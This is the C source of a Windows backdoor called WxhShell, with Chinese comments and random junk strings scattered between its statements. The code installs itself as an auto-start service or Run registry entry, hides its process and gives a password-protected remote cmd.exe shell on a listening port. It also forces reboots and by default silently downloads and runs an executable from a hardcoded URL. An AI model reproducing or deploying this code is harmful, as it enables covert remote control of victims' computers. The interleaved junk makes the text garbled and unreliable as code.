I"iE static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .whi0~i static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uE41"?GS In^mE(8YO HANDLE hProcess; >7PQOQMW' PROCESS_BASIC_INFORMATION pbi; MzX&|wimb =T,Q7Dh HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9-/q-, if(NULL == hInst ) return 0; aTTkj\4 RARA _tii g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 50QDqC-]XS g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,puoq{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5, ,~k= BLyV~ if (!NtQueryInformationProcess) return 0; NX,m6u v>#Njgo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `VKFA<T if(!hProcess) return 0; b9RHsr]V }q`9U!v if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C[<}eD4bV {KNaJ/:>W CloseHandle(hProcess); Vf&U`K D9[19,2r` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1oej<67PdJ if(hProcess==NULL) return 0; tkT,M,]?9 B`Z3e%g# HMODULE hMod; 0#9H;j<Op char procName[255]; wKLYyetM! unsigned long cbNeeded; e{@RBYX@+c J`U]Ux/L if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !:!(=(4$P pE&G]ZC CloseHandle(hProcess); Vml
6\X wn5OgXxG< if(strstr(procName,"services")) return 1; // 以服务启动 "D
_r</b x[)-h/&Fh return 0; // 注册表启动 RJ'[m~yl5X } } +}nrJv hm1s~@oEm // 主模块 Jg;[k int StartWxhshell(LPSTR lpCmdLine) a]u.Uqyx2w { q4[}b-fF SOCKET wsl; UeO/<ml3>J BOOL val=TRUE; VKDOM0{V int port=0; ~^1y(-cw struct sockaddr_in door; UHZ&7jfl 5_aj]"x if(wscfg.ws_autoins) Install(); +PjTT6 x 4+WZYv3 port=atoi(lpCmdLine); |+q_kx@?l qU!dg if(port<=0) port=wscfg.ws_port; ^A@f{g$KB+ %xlpOR4 WSADATA data;
]
#@:VR if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *'-4%7C`1 <=">2WP{ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; EwzR4,r\M setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KVa{;zBwl door.sin_family = AF_INET; E2'Wzrovlo door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9jTBLp-i#N door.sin_port = htons(port); ;DuVb2~+ +Ww] %`_ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .D
4G;=Q closesocket(wsl); -`PziGl@< return 1; ~a([e\~ } [7I bT:ph vTK%4=|1}! if(listen(wsl,2) == INVALID_SOCKET) { $Q/@5f'T`9 closesocket(wsl); Z<i}XCE return 1; +& B?f } ]eKuR"ob0 Wxhshell(wsl); !i;6!w WSACleanup(); r'OqG^6JFN eL}w{Hlk
T return 0; W~
~' y(J~:"}7) } ddfGR/1X ^aSb~lce // 以NT服务方式启动 -Q n-w3~& VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9>~pA]j% { cW:y^(X ii DWORD status = 0; `j>5W<5q\ DWORD specificError = 0xfffffff; ^cYB.oeu #hxYB serviceStatus.dwServiceType = SERVICE_WIN32; 5skN'*oG serviceStatus.dwCurrentState = SERVICE_START_PENDING; Xf`e 4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u}iuf_ serviceStatus.dwWin32ExitCode = 0; G!Zb27u+ serviceStatus.dwServiceSpecificExitCode = 0; 5bLNQz\WJ serviceStatus.dwCheckPoint = 0; 1p}H,\o serviceStatus.dwWaitHint = 0; oVvA`} j L|6i-?! hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =
wD#H@ h if (hServiceStatusHandle==0) return; /Q;wz!V$ q6>eb status = GetLastError(); L
BbST! if (status!=NO_ERROR) "N}t =3i$ { h^\vk!Q-d serviceStatus.dwCurrentState = SERVICE_STOPPED; /f#b;qa, serviceStatus.dwCheckPoint = 0; OIP]9lM$nC serviceStatus.dwWaitHint = 0; A<+Dx
serviceStatus.dwWin32ExitCode = status; z%D7x5!,R serviceStatus.dwServiceSpecificExitCode = specificError; KoERg&fY SetServiceStatus(hServiceStatusHandle, &serviceStatus); pp@
Owpb return; V'i-pn2gyu } H>CbMz1u =Wcvb?;* serviceStatus.dwCurrentState = SERVICE_RUNNING; }p~2lOI serviceStatus.dwCheckPoint = 0; oPKLr31zt serviceStatus.dwWaitHint = 0; p3M!H2W if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j9+4},>>CU } B->AY.&j `dZ|Ko%k // 处理NT服务事件,比如:启动、停止 [J,.?'V VOID WINAPI NTServiceHandler(DWORD fdwControl) no*) M7 { ~&<#H+O switch(fdwControl) 4CM'I~ { RCWmdR#}V case SERVICE_CONTROL_STOP:
RNk|h serviceStatus.dwWin32ExitCode = 0; >jI.$%L$ serviceStatus.dwCurrentState = SERVICE_STOPPED; |n26[=\B serviceStatus.dwCheckPoint = 0; VRd7H.f,A6 serviceStatus.dwWaitHint = 0; sSW'SE?,< { 17s~mqy SetServiceStatus(hServiceStatusHandle, &serviceStatus); '`2KLO>! } %>m.Z#R( return; AQ'%}(#0 case SERVICE_CONTROL_PAUSE: I){4MoH. serviceStatus.dwCurrentState = SERVICE_PAUSED; ,P a*; o\ break; X!]v4ma` case SERVICE_CONTROL_CONTINUE: 9nG^_.}| serviceStatus.dwCurrentState = SERVICE_RUNNING; 2o SM| break; XO
<0;9| case SERVICE_CONTROL_INTERROGATE: iXMJ1\!q\| break; L I<S }; K7RAmX SetServiceStatus(hServiceStatusHandle, &serviceStatus); gQeQy } 8<L{\$3HP| L2XhrLK.| // 标准应用程序主函数 0>{ ]* int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [M\ an6h6O { 3x[Cpg, t7]j6>MK3q // 获取操作系统版本 F rckA OsIsNt=GetOsVer(); & P-8_I GetModuleFileName(NULL,ExeFile,MAX_PATH); *JJ8\R&P0 jYp!?%! // 从命令行安装 ?%6oM if(strpbrk(lpCmdLine,"iI")) Install(); 4zyQ "?A~ 1iF=~@Nz_ // 下载执行文件 Pe_O( if(wscfg.ws_downexe) { ,jY:@<n if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yT7$6x WinExec(wscfg.ws_filenam,SW_HIDE); 'I$FOH } J0!V ( 1B;2 ~2X if(!OsIsNt) { RcYUO* // 如果时win9x,隐藏进程并且设置为注册表启动 Rl ]x: HideProc(); IJ Jp5[w StartWxhshell(lpCmdLine); E{\CE1* } #~
x7G
else `p()ko if(StartFromService()) c1Ks{%iA // 以服务方式启动 Q!+AiSTU StartServiceCtrlDispatcher(DispatchTable); vG_R( ]d else @62,.\F // 普通方式启动 GAj%o]}u StartWxhshell(lpCmdLine); Blxa0&3 MJGT|u8O& return 0; _LaG%* R6 } 3x;UAi+& cUR :a@ ~(R=3 5 bI:xL} =========================================== K%J?'- -.h)CM@L vD#U+ ^\ [p6> l eC!Yj R/~!km " t.(
`$ n#">k%bD #include <stdio.h> E;a,]. #include <string.h> T~E;@weR #include <windows.h> z x-[@G #include <winsock2.h> j}u L #include <winsvc.h> I-R7+o #include <urlmon.h> -qP)L;n <e UsMo< #pragma comment (lib, "Ws2_32.lib") MH.+pqIv^ #pragma comment (lib, "urlmon.lib") 6m_mma_,& j-K[]$ #define MAX_USER 100 // 最大客户端连接数 Q4cCg7|0 #define BUF_SOCK 200 // sock buffer (l99a&]t #define KEY_BUFF 255 // 输入 buffer DzpWU8j H\>{<`sD;f #define REBOOT 0 // 重启
^{}G4BEY #define SHUTDOWN 1 // 关机 NTu|cX\R j=O+U_w #define DEF_PORT 5000 // 监听端口 T1d@=&0" vFk@
#define REG_LEN 16 // 注册表键长度 lAN&d;NU6Z #define SVC_LEN 80 // NT服务名长度 > Z+*tq Y+"1'W // 从dll定义API C!+D]7\j typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @7nZjrH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jinh#iar typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !{-W%=Kf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $4{sPHi)I m \)B=H!bz // wxhshell配置信息 xrg"/?84 struct WSCFG { "B3jq^ int ws_port; // 监听端口 AY52j char ws_passstr[REG_LEN]; // 口令 IS]A<}j/- int ws_autoins; // 安装标记, 1=yes 0=no HUx`RX0> char ws_regname[REG_LEN]; // 注册表键名 b=EI?XwJ char ws_svcname[REG_LEN]; // 服务名 !P{ /;Q char ws_svcdisp[SVC_LEN]; // 服务显示名 |Y!^E %* char ws_svcdesc[SVC_LEN]; // 服务描述信息 )Eozo4~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M`&t=0D int ws_downexe; // 下载执行标记, 1=yes 0=no ZN}`A7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l!,tssQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZD&F ,2v $V87=_} }; 6u"wgX]H 6(QfD](2} // default Wxhshell configuration LLgw1 @-D struct WSCFG wscfg={DEF_PORT, No7-fX1B "xuhuanlingzhe", ;{I9S' 1, *y4g\#o. "Wxhshell", ?6_]^:s "Wxhshell", !}6'vq "WxhShell Service", *P' X[z "Wrsky Windows CmdShell Service", _#K|g#p5 "Please Input Your Password: ", }n&nuaj 1, "bej#'M# "http://www.wrsky.com/wxhshell.exe", +<\LY(o "Wxhshell.exe" u{4P)DIQ }; g"/n95k< ajycYk9<m // 消息定义模块 }uDpf0;^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F$8:9eL,T char *msg_ws_prompt="\n\r? for help\n\r#>"; bhUE!h< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &n1Vv_Lb char *msg_ws_ext="\n\rExit."; Kl. *Q char *msg_ws_end="\n\rQuit."; G
`|7NL char *msg_ws_boot="\n\rReboot..."; __}SHU0R char *msg_ws_poff="\n\rShutdown..."; r^Ra`:ca char *msg_ws_down="\n\rSave to "; ft/k-64 \IQG%L{ char *msg_ws_err="\n\rErr!"; Uc!k)o#= char *msg_ws_ok="\n\rOK!"; "w"a0nv a~yiLq char ExeFile[MAX_PATH]; Kz;Ar&^`N int nUser = 0; bVcJ/+Yx| HANDLE handles[MAX_USER]; h?TIxo:6/ int OsIsNt; 807+|Ol[ I q|'#hs SERVICE_STATUS serviceStatus; ,9y6:W%5 SERVICE_STATUS_HANDLE hServiceStatusHandle; b,Eq-Z; zYM2`(Z
5B // 函数声明 qq!ZYWy2 int Install(void); wp~}1]g int Uninstall(void); 4Y?fbb< int DownloadFile(char *sURL, SOCKET wsh); &~eCDlX/ int Boot(int flag); [lIX&!T" void HideProc(void); )y]Dmm int GetOsVer(void); _!2lnJ4+5 int Wxhshell(SOCKET wsl); |4DN2P
void TalkWithClient(void *cs); N@PuC> int CmdShell(SOCKET sock); ;\th.!'rn int StartFromService(void); x6K_!L*Fx] int StartWxhshell(LPSTR lpCmdLine); 2Ug_3ZuU 6OE
xAn8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CY?J$sN VOID WINAPI NTServiceHandler( DWORD fdwControl ); EC\@$Fg $x }R2 // 数据结构和表定义 { 5 r]G SERVICE_TABLE_ENTRY DispatchTable[] = /'8%=$2Kw { /[ m7~B]QE {wscfg.ws_svcname, NTServiceMain}, qD%88c)g {NULL, NULL} n_{&dVE }; uyEk1)HC QV."ZhL5 = // 自我安装 KF&8l/f int Install(void) 9(fh+ { \r aP char svExeFile[MAX_PATH]; 8T"L'{ggWB HKEY key; G>pedE\ strcpy(svExeFile,ExeFile); 5!ngM ;r2DQg"#@ // 如果是win9x系统,修改注册表设为自启动 f IV"U if(!OsIsNt) { C1AX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uNy-r`vg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ->qRGUW RegCloseKey(key); JRBz/ j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +_ehzo97 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 12i`82>; RegCloseKey(key); r7VBz_Q return 0; Jb{g{a/ } #_\**%,< } @mw1__? } n%h009-5 else { z~ Zm1tZs e|C2/U- // 如果是NT以上系统,安装为系统服务 hcU^!mp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CXn?~m&K if (schSCManager!=0) EE09 Er%\ { X,@nD@ SC_HANDLE schService = CreateService +;!^aNJ, ( eAO@B schSCManager, G>^= Bm_$ wscfg.ws_svcname, bh"
Caz.(t wscfg.ws_svcdisp, C=;}7g SERVICE_ALL_ACCESS, 3K(/= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v$` 3}<3- SERVICE_AUTO_START, (M;d*gNr SERVICE_ERROR_NORMAL, 5<X"+`=9 svExeFile, >l}v
_k*~B NULL, L7- JK3/E NULL, %D-!<)z NULL, N]8/l:@ NULL, Lm$KR!z NULL ^Zpz@T>m ); $lB!Q8a$ if (schService!=0) mr[ 1F]G { VB^1wm CloseServiceHandle(schService); pV<K=;:x> CloseServiceHandle(schSCManager); ?`vGpi~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e]1)_;b* strcat(svExeFile,wscfg.ws_svcname); Dg^s$2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { + d>2 ' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J%Y-3{TQK RegCloseKey(key); W SvhC return 0; ;t
N@ } v3~`1MM } r
*N@%T CloseServiceHandle(schSCManager); 6I~M8Lo; } NWwKp? } ^Gbcs
l~Gj 9XUYy2{G return 1; XR=ebl } %N\45nYU: !*^+7M // 自我卸载 ='I2&I,) int Uninstall(void) (CDh,ZN;| { =sAOWI,8! HKEY key; 7F]oK0l_ -iy17$ if(!OsIsNt) { }K.)yv n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P2>_qyX RegDeleteValue(key,wscfg.ws_regname); cgcU2N6y; RegCloseKey(key); 9R+ qw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { varaBFD RegDeleteValue(key,wscfg.ws_regname); 1h]nE/T.O RegCloseKey(key); heES
[ return 0; =J-&usX } % T$!I (L& } *ax&}AHK[/ } }uD*\. else { J{;\TNkJ "2!5g )iO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q.hpnE~#lh if (schSCManager!=0) W)2k>cS { yqb$,$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c]ll89`|| if (schService!=0) ) WkN34Q { .$&vSOgd( if(DeleteService(schService)!=0) { n Fwg pT CloseServiceHandle(schService); 6[Mu3.T CloseServiceHandle(schSCManager); Kr<a6BEv5 return 0; ;Uypv|xX } fsKZ CloseServiceHandle(schService); ^AwDZX } @ uL4'@Ej CloseServiceHandle(schSCManager); Rs]Y/9F;{ } 1b7 Q-elG } 06af{FXsGb G`v(4`tA return 1; uMFV^&ZF } BC%V<6JBu( 2Zq_zvKUt // 从指定url下载文件 ;k1VY
Ie} int DownloadFile(char *sURL, SOCKET wsh) #%CB`l { <7%#RJw e HRESULT hr; Zh:@AFz:R char seps[]= "/"; W1}d6Sbg char *token; #FGj)pu char *file; MR":aT char myURL[MAX_PATH]; ,PWMl[X char myFILE[MAX_PATH]; 0VgsV; *%]&5 strcpy(myURL,sURL); w`Cs, token=strtok(myURL,seps); {bNKyT while(token!=NULL) n7#}i2: { R4f_Kio file=token; G7#<Jo<8 token=strtok(NULL,seps); xCU
pMB7 } ?DM!=.] AbMf8$$3SH GetCurrentDirectory(MAX_PATH,myFILE); k
_Bz@^J strcat(myFILE, "\\"); 2reQd47 strcat(myFILE, file); p?<T
_9e send(wsh,myFILE,strlen(myFILE),0); eeUEqM$7EX send(wsh,"...",3,0); M;X}v#l|XI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a[BIY&/Q if(hr==S_OK) #
i|pi'Ij return 0; ?&XpwJw:~ else 8 }OII\ return 1; [@/x
=eeZtj. } 4^w`]m QL@}hw.F // 系统电源模块 8Vm)jnM int Boot(int flag) 4V
5 { -[A=\]RfJ HANDLE hToken; x1.yi- TOKEN_PRIVILEGES tkp; 3AC/;WB9 uWr vkLGN if(OsIsNt) { Qvhy9Cr; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nxx&aq(._ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N9AM% H$7 tkp.PrivilegeCount = 1; s+]6X*) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HqKD]1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tc<HA7vpt~ if(flag==REBOOT) { S4>1 d- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K1|xatx1V return 0; ?wj1t!83 } L%[b6< else { &_<!zJ;Hn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^14a[ta/' return 0; Z'\{hL S } `< cn } iFB {a?BE else { iy,jq5uw if(flag==REBOOT) { j
!rQa^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ":Ll.=! return 0; kKNrCv@64d } 6tT*b@/_o else { CDDOm8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E<4'4)FHuQ return 0; @]:GTrs } ^U{SUWl } j |:{ B =7%c*O < return 1; A}(Q^|6 } \9jvQV/y uY$BZEuAZ // win9x进程隐藏模块 t8z=R6zX void HideProc(void) (Q][d+} / { 6nHyd<o -@G,Ry-\t HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S5xum_Dq if ( hKernel != NULL ) k|F TT {
<sC. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @xPWR=Lb ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <lHVch"(^$ FreeLibrary(hKernel); C\5"Kb } : x@j)& ZE0D= return; =MokbK2 } GMYfcZ/,K i.6+CA // 获取操作系统版本 ~{gV`nm=J int GetOsVer(void) ^Y+P(o$HM { vvcA-k? OSVERSIONINFO winfo; zQyt 1&! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =S}SZYwl GetVersionEx(&winfo); `l`)Cs;a if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ld:U~M- return 1; Ny)N else Ga#5xAI{a return 0; G[z4 $0f } nEboet-#D0 $"6O92G(hJ // 客户端句柄模块 U8R*i7 int Wxhshell(SOCKET wsl) pv ;ZR { ^+'\
u;\ SOCKET wsh; B@v"giJg r struct sockaddr_in client; ,5HC&@ DWORD myID; 1wM~),B8 E)utrO R while(nUser<MAX_USER) a+ lGN { _h8|shyP int nSize=sizeof(client); ]Geg;[t wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Xj6h!"R if(wsh==INVALID_SOCKET) return 1; x72T5. $@Kwsoh' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W]=$0' if(handles[nUser]==0) Y>2kOE closesocket(wsh); ;7w4BJcq'] else wj#A#[e nUser++; QFX )Nov]; } W"*~1$vf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y?@(%PTp X4Y!Z/b return 0; &'d3Yt } Emx`+9 9s@$P7N5B // 关闭 socket 0mD=Rjb*a void CloseIt(SOCKET wsh) f15f)P { ym.:I@b?6 closesocket(wsh); >%{H>?Hn nUser--; 8|Vm6*TY&p ExitThread(0); )=@SA`J } C)xM>M_CB N#zh$0!8bJ // 客户端请求句柄 2E*h,Mo void TalkWithClient(void *cs) o"-*,:Qe { 2{fPQQ;# a1yGgT a?D SOCKET wsh=(SOCKET)cs; 0$A7"^] char pwd[SVC_LEN]; ZI/Ia$O char cmd[KEY_BUFF]; JuTIP6
/G char chr[1]; !au%D?w int i,j; =!{
E!3>*D 99tKs while (nUser < MAX_USER) { ?KMGk]_< J.^%VnrFO9 if(wscfg.ws_passstr) { 5w$\x+no if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GB\1' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )$oboAv# //ZeroMemory(pwd,KEY_BUFF); Q@w=Jt< i=0; ?vr9l7VOi while(i<SVC_LEN) { +4]31d&3 |QcE5UC // 设置超时 T>qI,BEY fd_set FdRead;
gUtxyW struct timeval TimeOut; #9FY;~ FD_ZERO(&FdRead); $2'Q'Mx[gd FD_SET(wsh,&FdRead); Ia!B8$$'RP TimeOut.tv_sec=8; |h(05Kbk TimeOut.tv_usec=0; fNnX{Wq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); : 7Jpt3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u/>+cT6} 3L1MMUACL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CS|al(?~ pwd=chr[0]; R7Z7o4jg if(chr[0]==0xd || chr[0]==0xa) { Tw0GG8(c pwd=0; Oi-=
Fp break; %&Q9WMo } `m7w%J.> n i++; v|
Yh]y } @r=v*hu H2
Gj(Nc- // 如果是非法用户,关闭 socket TcKt if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EPu-oE=HW4 } %]1.)j ![H{ndH!Q send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uuq*;L send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7*I:cga lGZf_X)gA^ while(1) { w8iXuRv S\"#E:A ZeroMemory(cmd,KEY_BUFF); ,6AnuA ONU,R\jMb- // 自动支持客户端 telnet标准 f@7HVv& j=0; %ZbdWHO# while(j<KEY_BUFF) { u/ZV35z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xdl7'~k cmd[j]=chr[0]; T:!f_mu| if(chr[0]==0xa || chr[0]==0xd) { 7,7-E&d cmd[j]=0; E -+t[W break; \S]` { kY, } )&vuT
q'7' j++; H9%[!
RF } K'\Jnn X`JoXNqm // 下载文件 Ls6C*<8 if(strstr(cmd,"http://")) { dKJ-{LV send(wsh,msg_ws_down,strlen(msg_ws_down),0); pG(Fw> if(DownloadFile(cmd,wsh)) .NSV%I send(wsh,msg_ws_err,strlen(msg_ws_err),0); x^~@`]TV^ else F_d>@-< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Is Wp!`W } l8 H8c & else { 8DGPA q#PMQR"C switch(cmd[0]) { }U ue}VOA wJF(&P // 帮助 }uiD8b{I case '?': { M4)Y%EPc send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5$ &',v( break; "h7Np/ m3 } ~FnuO!C // 安装 pmc)$3u case 'i': { oS^g "hQ`\ if(Install()) p}p}!M| send(wsh,msg_ws_err,strlen(msg_ws_err),0); ijACfl{!:t else C;0VR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B|ctauJ break; a"m-&mN } sB0m^Y' // 卸载 i
hcSS Um case 'r': { Q9k;PJ`@ if(Uninstall()) 4ufT-&m};s send(wsh,msg_ws_err,strlen(msg_ws_err),0); .^8rO,H[ else lUIh0%O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [&pMU) break; d)kOW!5\ } !@>q^_Gez // 显示 wxhshell 所在路径 S;j"@'gz9 case 'p': { /h 4rW>8D2 char svExeFile[MAX_PATH]; M>ntldV#g% strcpy(svExeFile,"\n\r"); g>QN9v}) strcat(svExeFile,ExeFile); M44$E4a20 send(wsh,svExeFile,strlen(svExeFile),0); qNWSDZQ break; z\-/R9E/5- } rP IAu[],g // 重启 {g 4`>^; case 'b': { q;.LK8M send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w\a6ga!xt" if(Boot(REBOOT)) 63QF1*gPH send(wsh,msg_ws_err,strlen(msg_ws_err),0); M'JCT'(X else { )JhB!P( closesocket(wsh); a H\A ExitThread(0); X/h|;C*9 } jS)YYk5 break; =7F?'&LC } n7.85p@ua // 关机 v oO7W" case 'd': { 5p ,HkV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v >s,* if(Boot(SHUTDOWN)) :Sn4Pg
`Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); h-\Ov{~ else { 6!H,(Z]j closesocket(wsh); thz[h5C?C ExitThread(0); r}}2Kl } GK[Hs1/ break; T.W^L'L` } DGg1TUE // 获取shell :3{n(~ case 's': { yq[.
WPve CmdShell(wsh); IY|`$sHb closesocket(wsh); .)<l69ZD Z ExitThread(0); 6{I6'+K~ break; Y$9x!kV } O;|jLf_If // 退出 \jb62Jp case 'x': { LI<Emez send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'F3@Xh CloseIt(wsh); RKp9[^/? break; /qFY$vj } p_vldTIW // 离开 "{kE#`c6<n case 'q': { P9 y+rF. send(wsh,msg_ws_end,strlen(msg_ws_end),0); c}s#!|E0v closesocket(wsh); Wiw~oXo WSACleanup(); @bChJl4 exit(1); Tp.:2[ break; }2S)CL= } Yhjv[ 9 } (EjlnG}5l } pE%*r@p4&4 Ti7
@{7> // 提示信息 q>wO=qWx if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bd- &~s^ } ))<vCfuz2 } ?H>^X)Ph }^VikT]>1 return; f>e0l'\ } A~X\ dcn *!E~4z= // shell模块句柄 g<7Aln}Nl\ int CmdShell(SOCKET sock) ya[f?0b0 { $zF%F.rln STARTUPINFO si; 3177 R>0 ZeroMemory(&si,sizeof(si)); ,*YmXR-" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BoOuN94 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j\zlp PROCESS_INFORMATION ProcessInfo; u /DE char cmdline[]="cmd"; qM6hE.J CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <4<y return 0; mU"Am0Bdjq } ?\(qA+iP0 4O.R=c2}7> // 自身启动模式 )y i~p int StartFromService(void) U$3DIJVI { 1Kr$JIcd typedef struct 4jGN:*kZ { 587;2 DWORD ExitStatus; 5#s],h DWORD PebBaseAddress; iX<" \pV DWORD AffinityMask; u&[L!w DWORD BasePriority; 2`j{n\/ ULONG UniqueProcessId; fD3'Ye<R ULONG InheritedFromUniqueProcessId; {qU;;`P]| } PROCESS_BASIC_INFORMATION; T>7N "C }fv7WhQ PROCNTQSIP NtQueryInformationProcess; }q'IY:r Hc[@c)DH static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }0Uh<v@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `9gV8u ]9)iBvQlj HANDLE hProcess; KLj=M;$:K PROCESS_BASIC_INFORMATION pbi; _}ii1fLv nnvS.s`O HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WPAUY<6f if(NULL == hInst ) return 0; >d &0a: GAZRQ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w!v^6[! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5f?GSHA} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); </@5>hx/ 9v;HE{> if (!NtQueryInformationProcess) return 0; aG#d41O ARt{ 2| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Nnr[@^M5 if(!hProcess) return 0; 8F[ ;ma>Z8 GDe,n if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 